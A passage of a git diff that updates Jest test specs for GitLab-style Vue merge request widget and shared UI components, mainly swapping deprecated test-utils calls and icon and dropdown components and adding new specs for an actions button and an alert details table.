+ pipeline.details.name = 'Detached merge request pipeline';
+ pipeline.merge_request_event_type = 'detached';
- factory();
+ factory();
- const expected = `Detached merge request pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id}`;
- const actual = trimText(findPipelineInfoContainer().text());
+ const expected = `Detached merge request pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id}`;
+ const actual = trimText(findPipelineInfoContainer().text());
- expect(actual).toBe(expected);
- });
+ expect(actual).toBe(expected);
});
});
});
diff --git a/spec/frontend/vue_mr_widget/components/review_app_link_spec.js b/spec/frontend/vue_mr_widget/components/review_app_link_spec.js
index 7b063653a93..7d47621c64a 100644
--- a/spec/frontend/vue_mr_widget/components/review_app_link_spec.js
+++ b/spec/frontend/vue_mr_widget/components/review_app_link_spec.js
@@ -30,7 +30,7 @@ describe('review app link', () => {
});
it('renders provided cssClass as class attribute', () => {
- expect(el.getAttribute('class')).toEqual(props.cssClass);
+ expect(el.getAttribute('class')).toContain(props.cssClass);
});
it('renders View app text', () => {
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_commits_header_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_commits_header_spec.js
index 67746b062b9..62fc3330444 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_commits_header_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_commits_header_spec.js
@@ -1,6 +1,5 @@
import { shallowMount } from '@vue/test-utils';
import CommitsHeader from '~/vue_merge_request_widget/components/states/commits_header.vue';
-import Icon from '~/vue_shared/components/icon.vue';
describe('Commits header component', () => {
let wrapper;
@@ -23,7 +22,6 @@ describe('Commits header component', () => {
const findHeaderWrapper = () => wrapper.find('.js-mr-widget-commits-count');
const findCommitToggle = () => wrapper.find('.commit-edit-toggle');
- const findIcon = () => wrapper.find(Icon);
const findCommitsCountMessage = () => wrapper.find('.commits-count-message');
const findTargetBranchMessage = () => wrapper.find('.label-branch');
const findModifyButton = () => wrapper.find('.modify-message-button');
@@ -61,7 +59,7 @@ describe('Commits header component', () => {
wrapper.setData({ expanded: false });
return wrapper.vm.$nextTick().then(() => {
- expect(findIcon().props('name')).toBe('chevron-right');
+ expect(findCommitToggle().props('icon')).toBe('chevron-right');
});
});
@@ -119,7 +117,7 @@ describe('Commits header component', () => {
it('has a chevron-down icon', done => {
wrapper.vm.$nextTick(() => {
- expect(findIcon().props('name')).toBe('chevron-down');
+ expect(findCommitToggle().props('icon')).toBe('chevron-down');
done();
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
index c3a16a776a7..19f8a67d066 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
@@ -148,8 +148,8 @@ describe('MRWidgetConflicts', () => {
},
});
- expect(vm.contains('.js-resolve-conflicts-button')).toBe(false);
- expect(vm.contains('.js-merge-locally-button')).toBe(false);
+ expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
+ expect(vm.find('.js-merge-locally-button').exists()).toBe(false);
});
it('should not have resolve button when no conflict resolution path', () => {
@@ -161,7 +161,7 @@ describe('MRWidgetConflicts', () => {
},
});
- expect(vm.contains('.js-resolve-conflicts-button')).toBe(false);
+ expect(vm.find('.js-resolve-conflicts-button').exists()).toBe(false);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
index f591393d721..6778a8f4a1f 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
@@ -125,7 +125,11 @@ describe('MRWidgetFailedToMerge', () => {
});
it('renders refresh button', () => {
- expect(vm.$el.querySelector('.js-refresh-button').textContent.trim()).toEqual('Refresh now');
+ expect(
+ vm.$el
+ .querySelector('[data-testid="merge-request-failed-refresh-button"]')
+ .textContent.trim(),
+ ).toEqual('Refresh now');
});
it('renders remaining time', () => {
diff --git a/spec/frontend/vue_mr_widget/components/terraform/mr_widget_terraform_container_spec.js b/spec/frontend/vue_mr_widget/components/terraform/mr_widget_terraform_container_spec.js
index ffcf9b1477a..7fe6b44ecc7 100644
--- a/spec/frontend/vue_mr_widget/components/terraform/mr_widget_terraform_container_spec.js
+++ b/spec/frontend/vue_mr_widget/components/terraform/mr_widget_terraform_container_spec.js
@@ -1,4 +1,4 @@
-import { GlSkeletonLoading, GlSprintf } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlSprintf } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import { invalidPlanWithName, plans, validPlanWithName } from './mock_data';
@@ -49,8 +49,8 @@ describe('MrWidgetTerraformConainer', () => {
});
it('diplays loading skeleton', () => {
- expect(wrapper.contains(GlSkeletonLoading)).toBe(true);
- expect(wrapper.contains(MrWidgetExpanableSection)).toBe(false);
+ expect(wrapper.find(GlSkeletonLoading).exists()).toBe(true);
+ expect(wrapper.find(MrWidgetExpanableSection).exists()).toBe(false);
});
});
@@ -61,8 +61,8 @@ describe('MrWidgetTerraformConainer', () => {
});
it('displays terraform content', () => {
- expect(wrapper.contains(GlSkeletonLoading)).toBe(false);
- expect(wrapper.contains(MrWidgetExpanableSection)).toBe(true);
+ expect(wrapper.find(GlSkeletonLoading).exists()).toBe(false);
+ expect(wrapper.find(MrWidgetExpanableSection).exists()).toBe(true);
expect(findPlans()).toEqual(Object.values(plans));
});
@@ -156,7 +156,7 @@ describe('MrWidgetTerraformConainer', () => {
});
it('stops loading', () => {
- expect(wrapper.contains(GlSkeletonLoading)).toBe(false);
+ expect(wrapper.find(GlSkeletonLoading).exists()).toBe(false);
});
it('generates one broken plan', () => {
diff --git a/spec/frontend/vue_mr_widget/deployment/deployment_action_button_spec.js b/spec/frontend/vue_mr_widget/deployment/deployment_action_button_spec.js
index 6adf4975414..bc0d2501809 100644
--- a/spec/frontend/vue_mr_widget/deployment/deployment_action_button_spec.js
+++ b/spec/frontend/vue_mr_widget/deployment/deployment_action_button_spec.js
@@ -1,5 +1,5 @@
import { mount } from '@vue/test-utils';
-import { GlIcon, GlLoadingIcon, GlDeprecatedButton } from '@gitlab/ui';
+import { GlIcon, GlLoadingIcon, GlButton } from '@gitlab/ui';
import DeploymentActionButton from '~/vue_merge_request_widget/components/deployment/deployment_action_button.vue';
import {
CREATED,
@@ -13,6 +13,7 @@ const baseProps = {
actionsConfiguration: actionButtonMocks[DEPLOYING],
actionInProgress: null,
computedDeploymentStatus: CREATED,
+ icon: 'play',
};
describe('Deployment action button', () => {
@@ -28,18 +29,18 @@ describe('Deployment action button', () => {
wrapper.destroy();
});
- describe('when passed only icon', () => {
+ describe('when passed only icon via props', () => {
beforeEach(() => {
factory({
propsData: baseProps,
- slots: { default: ['<gl-icon name="stop" />'] },
+ slots: {},
stubs: {
'gl-icon': GlIcon,
},
});
});
- it('renders slot correctly', () => {
+ it('renders prop icon correctly', () => {
expect(wrapper.find(GlIcon).exists()).toBe(true);
});
});
@@ -49,7 +50,7 @@ describe('Deployment action button', () => {
factory({
propsData: baseProps,
slots: {
- default: ['<gl-icon name="play" />', `<span>${actionButtonMocks[DEPLOYING]}</span>`],
+ default: [`<span>${actionButtonMocks[DEPLOYING]}</span>`],
},
stubs: {
'gl-icon': GlIcon,
@@ -57,7 +58,7 @@ describe('Deployment action button', () => {
});
});
- it('renders slot correctly', () => {
+ it('renders slot and icon prop correctly', () => {
expect(wrapper.find(GlIcon).exists()).toBe(true);
expect(wrapper.text()).toContain(actionButtonMocks[DEPLOYING]);
});
@@ -75,7 +76,7 @@ describe('Deployment action button', () => {
it('is disabled and shows the loading icon', () => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.find(GlDeprecatedButton).props('disabled')).toBe(true);
+ expect(wrapper.find(GlButton).props('disabled')).toBe(true);
});
});
@@ -90,7 +91,7 @@ describe('Deployment action button', () => {
});
it('is disabled and does not show the loading icon', () => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
- expect(wrapper.find(GlDeprecatedButton).props('disabled')).toBe(true);
+ expect(wrapper.find(GlButton).props('disabled')).toBe(true);
});
});
@@ -106,7 +107,7 @@ describe('Deployment action button', () => {
});
it('is disabled and does not show the loading icon', () => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
- expect(wrapper.find(GlDeprecatedButton).props('disabled')).toBe(true);
+ expect(wrapper.find(GlButton).props('disabled')).toBe(true);
});
});
@@ -118,7 +119,7 @@ describe('Deployment action button', () => {
});
it('is not disabled nor does it show the loading icon', () => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
- expect(wrapper.find(GlDeprecatedButton).props('disabled')).toBe(false);
+ expect(wrapper.find(GlButton).props('disabled')).toBe(false);
});
});
});
diff --git a/spec/frontend/vue_mr_widget/mock_data.js b/spec/frontend/vue_mr_widget/mock_data.js
index d64a7f88b6b..4688af30269 100644
--- a/spec/frontend/vue_mr_widget/mock_data.js
+++ b/spec/frontend/vue_mr_widget/mock_data.js
@@ -193,6 +193,7 @@ export default {
updated_at: '2017-04-07T15:28:44.800Z',
},
pipelineCoverageDelta: '15.25',
+ buildsWithCoverage: [{ name: 'karma', coverage: '40.2' }, { name: 'rspec', coverage: '80.4' }],
work_in_progress: false,
source_branch_exists: false,
mergeable_discussions_state: true,
diff --git a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
index 0bbe040d031..a2ade44b7c4 100644
--- a/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
+++ b/spec/frontend/vue_mr_widget/mr_widget_options_spec.js
@@ -530,7 +530,7 @@ describe('mrWidgetOptions', () => {
vm.mr.state = 'readyToMerge';
vm.$nextTick(() => {
- const tooltip = vm.$el.querySelector('.fa-question-circle');
+ const tooltip = vm.$el.querySelector('[data-testid="question-o-icon"]');
expect(vm.$el.textContent).toContain('Deletes source branch');
expect(tooltip.getAttribute('data-original-title')).toBe(
diff --git a/spec/frontend/vue_mr_widget/stores/get_state_key_spec.js b/spec/frontend/vue_mr_widget/stores/get_state_key_spec.js
index 128e0f39c41..631d4647b17 100644
--- a/spec/frontend/vue_mr_widget/stores/get_state_key_spec.js
+++ b/spec/frontend/vue_mr_widget/stores/get_state_key_spec.js
@@ -30,6 +30,7 @@ describe('getStateKey', () => {
expect(bound()).toEqual('notAllowedToMerge');
context.autoMergeEnabled = true;
+ context.hasMergeableDiscussionsState = true;
expect(bound()).toEqual('autoMergeEnabled');
@@ -44,6 +45,7 @@ describe('getStateKey', () => {
expect(bound()).toEqual('pipelineBlocked');
context.hasMergeableDiscussionsState = true;
+ context.autoMergeEnabled = false;
expect(bound()).toEqual('unresolvedDiscussions');
diff --git a/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js b/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
index 48326eda404..b691a366a0f 100644
--- a/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
+++ b/spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js
@@ -69,6 +69,38 @@ describe('MergeRequestStore', () => {
});
});
+ describe('isPipelineBlocked', () => {
+ const pipelineWaitingForManualAction = {
+ details: {
+ status: {
+ group: 'manual',
+ },
+ },
+ };
+
+ it('should be `false` when the pipeline status is missing', () => {
+ store.setData({ ...mockData, pipeline: undefined });
+
+ expect(store.isPipelineBlocked).toBe(false);
+ });
+
+ it('should be `false` when the pipeline is waiting for manual action', () => {
+ store.setData({ ...mockData, pipeline: pipelineWaitingForManualAction });
+
+ expect(store.isPipelineBlocked).toBe(false);
+ });
+
+ it('should be `true` when the pipeline is waiting for manual action and the pipeline must succeed', () => {
+ store.setData({
+ ...mockData,
+ pipeline: pipelineWaitingForManualAction,
+ only_allow_merge_if_pipeline_succeeds: true,
+ });
+
+ expect(store.isPipelineBlocked).toBe(true);
+ });
+ });
+
describe('isNothingToMergeState', () => {
it('returns true when nothingToMerge', () => {
store.state = stateKey.nothingToMerge;
diff --git a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
index e84eb7789d3..dfd114a2d1c 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
@@ -1,7 +1,7 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
-<gl-new-dropdown-stub
+<gl-dropdown-stub
category="primary"
headertext=""
right=""
@@ -12,9 +12,9 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
<div
class="pb-2 mx-1"
>
- <gl-new-dropdown-header-stub>
+ <gl-dropdown-section-header-stub>
Clone with SSH
- </gl-new-dropdown-header-stub>
+ </gl-dropdown-section-header-stub>
<div
class="mx-3"
@@ -53,9 +53,9 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
</div>
</div>
- <gl-new-dropdown-header-stub>
+ <gl-dropdown-section-header-stub>
Clone with HTTP
- </gl-new-dropdown-header-stub>
+ </gl-dropdown-section-header-stub>
<div
class="mx-3"
@@ -94,5 +94,5 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
</div>
</div>
</div>
-</gl-new-dropdown-stub>
+</gl-dropdown-stub>
`;
diff --git a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
index cd4728baeaa..c2b97f1e7f9 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap
@@ -4,7 +4,7 @@ exports[`Expand button on click when short text is provided renders button after
<span>
<button
aria-label="Click to expand text"
- class="btn js-text-expander-prepend text-expander btn-blank btn-default btn-md btn-icon button-ellipsis-horizontal gl-button"
+ class="btn js-text-expander-prepend text-expander btn-blank btn-default btn-md gl-button btn-icon button-ellipsis-horizontal"
style="display: none;"
type="button"
>
@@ -32,7 +32,7 @@ exports[`Expand button on click when short text is provided renders button after
<button
aria-label="Click to expand text"
- class="btn js-text-expander-append text-expander btn-blank btn-default btn-md btn-icon button-ellipsis-horizontal gl-button"
+ class="btn js-text-expander-append text-expander btn-blank btn-default btn-md gl-button btn-icon button-ellipsis-horizontal"
style=""
type="button"
>
@@ -56,7 +56,7 @@ exports[`Expand button when short text is provided renders button before text 1`
<span>
<button
aria-label="Click to expand text"
- class="btn js-text-expander-prepend text-expander btn-blank btn-default btn-md btn-icon button-ellipsis-horizontal gl-button"
+ class="btn js-text-expander-prepend text-expander btn-blank btn-default btn-md gl-button btn-icon button-ellipsis-horizontal"
type="button"
>
<!---->
@@ -83,7 +83,7 @@ exports[`Expand button when short text is provided renders button before text 1`
<button
aria-label="Click to expand text"
- class="btn js-text-expander-append text-expander btn-blank btn-default btn-md btn-icon button-ellipsis-horizontal gl-button"
+ class="btn js-text-expander-append text-expander btn-blank btn-default btn-md gl-button btn-icon button-ellipsis-horizontal"
style="display: none;"
type="button"
>
diff --git a/spec/frontend/vue_shared/components/actions_button_spec.js b/spec/frontend/vue_shared/components/actions_button_spec.js
new file mode 100644
index 00000000000..4dde9d726d1
--- /dev/null
+++ b/spec/frontend/vue_shared/components/actions_button_spec.js
@@ -0,0 +1,203 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlDropdown, GlLink } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ActionsButton from '~/vue_shared/components/actions_button.vue';
+
+const TEST_ACTION = {
+ key: 'action1',
+ text: 'Sample',
+ secondaryText: 'Lorem ipsum.',
+ tooltip: '',
+ href: '/sample',
+ attrs: { 'data-test': '123' },
+};
+const TEST_ACTION_2 = {
+ key: 'action2',
+ text: 'Sample 2',
+ secondaryText: 'Dolar sit amit.',
+ tooltip: 'Dolar sit amit.',
+ href: '#',
+ attrs: { 'data-test': '456' },
+};
+const TEST_TOOLTIP = 'Lorem ipsum dolar sit';
+
+describe('Actions button component', () => {
+ let wrapper;
+
+ function createComponent(props) {
+ wrapper = shallowMount(ActionsButton, {
+ propsData: { ...props },
+ directives: { GlTooltip: createMockDirective() },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const getTooltip = child => {
+ const directiveBinding = getBinding(child.element, 'gl-tooltip');
+
+ return directiveBinding.value;
+ };
+ const findLink = () => wrapper.find(GlLink);
+ const findLinkTooltip = () => getTooltip(findLink());
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findDropdownTooltip = () => getTooltip(findDropdown());
+ const parseDropdownItems = () =>
+ findDropdown()
+ .findAll('gl-dropdown-item-stub,gl-dropdown-divider-stub')
+ .wrappers.map(x => {
+ if (x.is('gl-dropdown-divider-stub')) {
+ return { type: 'divider' };
+ }
+
+ const { isCheckItem, isChecked, secondaryText } = x.props();
+
+ return {
+ type: 'item',
+ isCheckItem,
+ isChecked,
+ secondaryText,
+ text: x.text(),
+ };
+ });
+ const clickOn = (child, evt = new Event('click')) => child.vm.$emit('click', evt);
+ const clickLink = (...args) => clickOn(findLink(), ...args);
+ const clickDropdown = (...args) => clickOn(findDropdown(), ...args);
+
+ describe('with 1 action', () => {
+ beforeEach(() => {
+ createComponent({ actions: [TEST_ACTION] });
+ });
+
+ it('should not render dropdown', () => {
+ expect(findDropdown().exists()).toBe(false);
+ });
+
+ it('should render single button', () => {
+ const link = findLink();
+
+ expect(link.attributes()).toEqual({
+ class: expect.any(String),
+ href: TEST_ACTION.href,
+ ...TEST_ACTION.attrs,
+ });
+ expect(link.text()).toBe(TEST_ACTION.text);
+ });
+
+ it('should have tooltip', () => {
+ expect(findLinkTooltip()).toBe(TEST_ACTION.tooltip);
+ });
+
+ it('should have attrs', () => {
+ expect(findLink().attributes()).toMatchObject(TEST_ACTION.attrs);
+ });
+
+ it('can click', () => {
+ expect(clickLink).not.toThrow();
+ });
+ });
+
+ describe('with 1 action with tooltip', () => {
+ it('should have tooltip', () => {
+ createComponent({ actions: [{ ...TEST_ACTION, tooltip: TEST_TOOLTIP }] });
+
+ expect(findLinkTooltip()).toBe(TEST_TOOLTIP);
+ });
+ });
+
+ describe('with 1 action with handle', () => {
+ it('can click and trigger handle', () => {
+ const handleClick = jest.fn();
+ createComponent({ actions: [{ ...TEST_ACTION, handle: handleClick }] });
+
+ const event = new Event('click');
+ clickLink(event);
+
+ expect(handleClick).toHaveBeenCalledWith(event);
+ });
+ });
+
+ describe('with multiple actions', () => {
+ let handleAction;
+
+ beforeEach(() => {
+ handleAction = jest.fn();
+
+ createComponent({ actions: [{ ...TEST_ACTION, handle: handleAction }, TEST_ACTION_2] });
+ });
+
+ it('should default to selecting first action', () => {
+ expect(findDropdown().attributes()).toMatchObject({
+ text: TEST_ACTION.text,
+ 'split-href': TEST_ACTION.href,
+ });
+ });
+
+ it('should handle first action click', () => {
+ const event = new Event('click');
+
+ clickDropdown(event);
+
+ expect(handleAction).toHaveBeenCalledWith(event);
+ });
+
+ it('should render dropdown items', () => {
+ expect(parseDropdownItems()).toEqual([
+ {
+ type: 'item',
+ isCheckItem: true,
+ isChecked: true,
+ secondaryText: TEST_ACTION.secondaryText,
+ text: TEST_ACTION.text,
+ },
+ { type: 'divider' },
+ {
+ type: 'item',
+ isCheckItem: true,
+ isChecked: false,
+ secondaryText: TEST_ACTION_2.secondaryText,
+ text: TEST_ACTION_2.text,
+ },
+ ]);
+ });
+
+ it('should select action 2 when clicked', () => {
+ expect(wrapper.emitted('select')).toBeUndefined();
+
+ const action2 = wrapper.find(`[data-testid="action_${TEST_ACTION_2.key}"]`);
+ action2.vm.$emit('click');
+
+ expect(wrapper.emitted('select')).toEqual([[TEST_ACTION_2.key]]);
+ });
+
+ it('should have tooltip value', () => {
+ expect(findDropdownTooltip()).toBe(TEST_ACTION.tooltip);
+ });
+ });
+
+ describe('with multiple actions and selectedKey', () => {
+ beforeEach(() => {
+ createComponent({ actions: [TEST_ACTION, TEST_ACTION_2], selectedKey: TEST_ACTION_2.key });
+ });
+
+ it('should show action 2 as selected', () => {
+ expect(parseDropdownItems()).toEqual([
+ expect.objectContaining({
+ type: 'item',
+ isChecked: false,
+ }),
+ { type: 'divider' },
+ expect.objectContaining({
+ type: 'item',
+ isChecked: true,
+ }),
+ ]);
+ });
+
+ it('should have tooltip value', () => {
+ expect(findDropdownTooltip()).toBe(TEST_ACTION_2.tooltip);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/alert_detail_table_spec.js b/spec/frontend/vue_shared/components/alert_detail_table_spec.js
new file mode 100644
index 00000000000..9c38ccad8a7
--- /dev/null
+++ b/spec/frontend/vue_shared/components/alert_detail_table_spec.js
@@ -0,0 +1,74 @@
+import { mount } from '@vue/test-utils';
+import { GlTable, GlLoadingIcon } from '@gitlab/ui';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
+
+const mockAlert = {
+ iid: '1527542',
+ title: 'SyntaxError: Invalid or unexpected token',
+ severity: 'CRITICAL',
+ eventCount: 7,
+ createdAt: '2020-04-17T23:18:14.996Z',
+ startedAt: '2020-04-17T23:18:14.996Z',
+ endedAt: '2020-04-17T23:18:14.996Z',
+ status: 'TRIGGERED',
+ assignees: { nodes: [] },
+ notes: { nodes: [] },
+ todos: { nodes: [] },
+};
+
+describe('AlertDetails', () => {
+ let wrapper;
+
+ function mountComponent(propsData = {}) {
+ wrapper = mount(AlertDetailsTable, {
+ propsData: {
+ alert: mockAlert,
+ loading: false,
+ ...propsData,
+ },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findTableComponent = () => wrapper.find(GlTable);
+
+ describe('Alert details', () => {
+ describe('empty state', () => {
+ beforeEach(() => {
+ mountComponent({ alert: null });
+ });
+
+ it('shows an empty state when no alert is provided', () => {
+ expect(wrapper.text()).toContain('No alert data to display.');
+ });
+ });
+
+ describe('loading state', () => {
+ beforeEach(() => {
+ mountComponent({ loading: true });
+ });
+
+ it('displays a loading state when loading', () => {
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+ });
+
+ describe('with table data', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('renders a table', () => {
+ expect(findTableComponent().exists()).toBe(true);
+ });
+
+ it('renders a cell based on alert data', () => {
+ expect(findTableComponent().text()).toContain('SyntaxError: Invalid or unexpected token');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js b/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
index 5cf42ecdc1d..22643a17b2b 100644
--- a/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
@@ -36,6 +36,6 @@ describe('Blob Rich Viewer component', () => {
});
it('is using Markdown View Field', () => {
- expect(wrapper.contains(MarkdownFieldView)).toBe(true);
+ expect(wrapper.find(MarkdownFieldView).exists()).toBe(true);
});
});
diff --git a/spec/frontend/vue_shared/components/changed_file_icon_spec.js b/spec/frontend/vue_shared/components/changed_file_icon_spec.js
index 03519a6f803..80918c5e771 100644
--- a/spec/frontend/vue_shared/components/changed_file_icon_spec.js
+++ b/spec/frontend/vue_shared/components/changed_file_icon_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const changedFile = () => ({ changed: true });
const stagedFile = () => ({ changed: true, staged: true });
@@ -25,7 +25,7 @@ describe('Changed file icon', () => {
wrapper.destroy();
});
- const findIcon = () => wrapper.find(Icon);
+ const findIcon = () => wrapper.find(GlIcon);
const findIconName = () => findIcon().props('name');
const findIconClasses = () => findIcon().classes();
const findTooltipText = () => wrapper.attributes('title');
diff --git a/spec/frontend/vue_shared/components/clone_dropdown_spec.js b/spec/frontend/vue_shared/components/clone_dropdown_spec.js
index d9829874b93..5b8576ad761 100644
--- a/spec/frontend/vue_shared/components/clone_dropdown_spec.js
+++ b/spec/frontend/vue_shared/components/clone_dropdown_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlFormInputGroup, GlNewDropdownHeader } from '@gitlab/ui';
+import { GlFormInputGroup, GlDropdownSectionHeader } from '@gitlab/ui';
import CloneDropdown from '~/vue_shared/components/clone_dropdown.vue';
describe('Clone Dropdown Button', () => {
@@ -40,7 +40,7 @@ describe('Clone Dropdown Button', () => {
createComponent();
const group = wrapper.findAll(GlFormInputGroup).at(index);
expect(group.props('value')).toBe(value);
- expect(group.contains(GlFormInputGroup)).toBe(true);
+ expect(group.find(GlFormInputGroup).exists()).toBe(true);
});
it.each`
@@ -51,7 +51,7 @@ describe('Clone Dropdown Button', () => {
createComponent({ [name]: value });
expect(wrapper.find(GlFormInputGroup).props('value')).toBe(value);
- expect(wrapper.findAll(GlNewDropdownHeader).length).toBe(1);
+ expect(wrapper.findAll(GlDropdownSectionHeader).length).toBe(1);
});
});
@@ -63,12 +63,12 @@ describe('Clone Dropdown Button', () => {
`('allows null values for the props', ({ name, value }) => {
createComponent({ ...defaultPropsData, [name]: value });
- expect(wrapper.findAll(GlNewDropdownHeader).length).toBe(1);
+ expect(wrapper.findAll(GlDropdownSectionHeader).length).toBe(1);
});
it('correctly calculates httpLabel for HTTPS protocol', () => {
createComponent({ httpLink: httpsLink });
- expect(wrapper.find(GlNewDropdownHeader).text()).toContain('HTTPS');
+ expect(wrapper.find(GlDropdownSectionHeader).text()).toContain('HTTPS');
});
});
});
diff --git a/spec/frontend/vue_shared/components/commit_spec.js b/spec/frontend/vue_shared/components/commit_spec.js
index 3510c9b699d..9b5c0941a0d 100644
--- a/spec/frontend/vue_shared/components/commit_spec.js
+++ b/spec/frontend/vue_shared/components/commit_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import CommitComponent from '~/vue_shared/components/commit.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
describe('Commit component', () => {
@@ -8,7 +8,7 @@ describe('Commit component', () => {
let wrapper;
const findIcon = name => {
- const icons = wrapper.findAll(Icon).filter(c => c.attributes('name') === name);
+ const icons = wrapper.findAll(GlIcon).filter(c => c.attributes('name') === name);
return icons.length ? icons.at(0) : icons;
};
@@ -46,7 +46,7 @@ describe('Commit component', () => {
expect(
wrapper
.find('.icon-container')
- .find(Icon)
+ .find(GlIcon)
.exists(),
).toBe(true);
});
diff --git a/spec/frontend/vue_shared/components/confirm_modal_spec.js b/spec/frontend/vue_shared/components/confirm_modal_spec.js
index 7bccd6f1a64..5d92af64de0 100644
--- a/spec/frontend/vue_shared/components/confirm_modal_spec.js
+++ b/spec/frontend/vue_shared/components/confirm_modal_spec.js
@@ -1,5 +1,4 @@
import { shallowMount } from '@vue/test-utils';
-import { GlModal } from '@gitlab/ui';
import { TEST_HOST } from 'helpers/test_constants';
import ConfirmModal from '~/vue_shared/components/confirm_modal.vue';
@@ -21,9 +20,14 @@ describe('vue_shared/components/confirm_modal', () => {
selector: '.test-button',
};
- const actionSpies = {
- openModal: jest.fn(),
- closeModal: jest.fn(),
+ const popupMethods = {
+ hide: jest.fn(),
+ show: jest.fn(),
+ };
+
+ const GlModalStub = {
+ template: '<div><slot></slot></div>',
+ methods: popupMethods,
};
let wrapper;
@@ -34,8 +38,8 @@ describe('vue_shared/components/confirm_modal', () => {
...defaultProps,
...props,
},
- methods: {
- ...actionSpies,
+ stubs: {
+ GlModal: GlModalStub,
},
});
};
@@ -44,7 +48,7 @@ describe('vue_shared/components/confirm_modal', () => {
wrapper.destroy();
});
- const findModal = () => wrapper.find(GlModal);
+ const findModal = () => wrapper.find(GlModalStub);
const findForm = () => wrapper.find('form');
const findFormData = () =>
findForm()
@@ -103,7 +107,7 @@ describe('vue_shared/components/confirm_modal', () => {
});
it('does not close modal', () => {
- expect(actionSpies.closeModal).not.toHaveBeenCalled();
+ expect(popupMethods.hide).not.toHaveBeenCalled();
});
describe('when modal closed', () => {
@@ -112,7 +116,7 @@ describe('vue_shared/components/confirm_modal', () => {
});
it('closes modal', () => {
- expect(actionSpies.closeModal).toHaveBeenCalled();
+ expect(popupMethods.hide).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/vue_shared/components/date_time_picker/date_time_picker_spec.js b/spec/frontend/vue_shared/components/date_time_picker/date_time_picker_spec.js
index 223e22d650b..afd1f1a3123 100644
--- a/spec/frontend/vue_shared/components/date_time_picker/date_time_picker_spec.js
+++ b/spec/frontend/vue_shared/components/date_time_picker/date_time_picker_spec.js
@@ -234,7 +234,8 @@ describe('DateTimePicker', () => {
});
it('unchecks quick range when text is input is clicked', () => {
- const findActiveItems = () => findQuickRangeItems().filter(w => w.is('.active'));
+ const findActiveItems = () =>
+ findQuickRangeItems().filter(w => w.classes().includes('active'));
expect(findActiveItems().length).toBe(1);
@@ -332,13 +333,13 @@ describe('DateTimePicker', () => {
expect(items.length).toBe(Object.keys(otherTimeRanges).length);
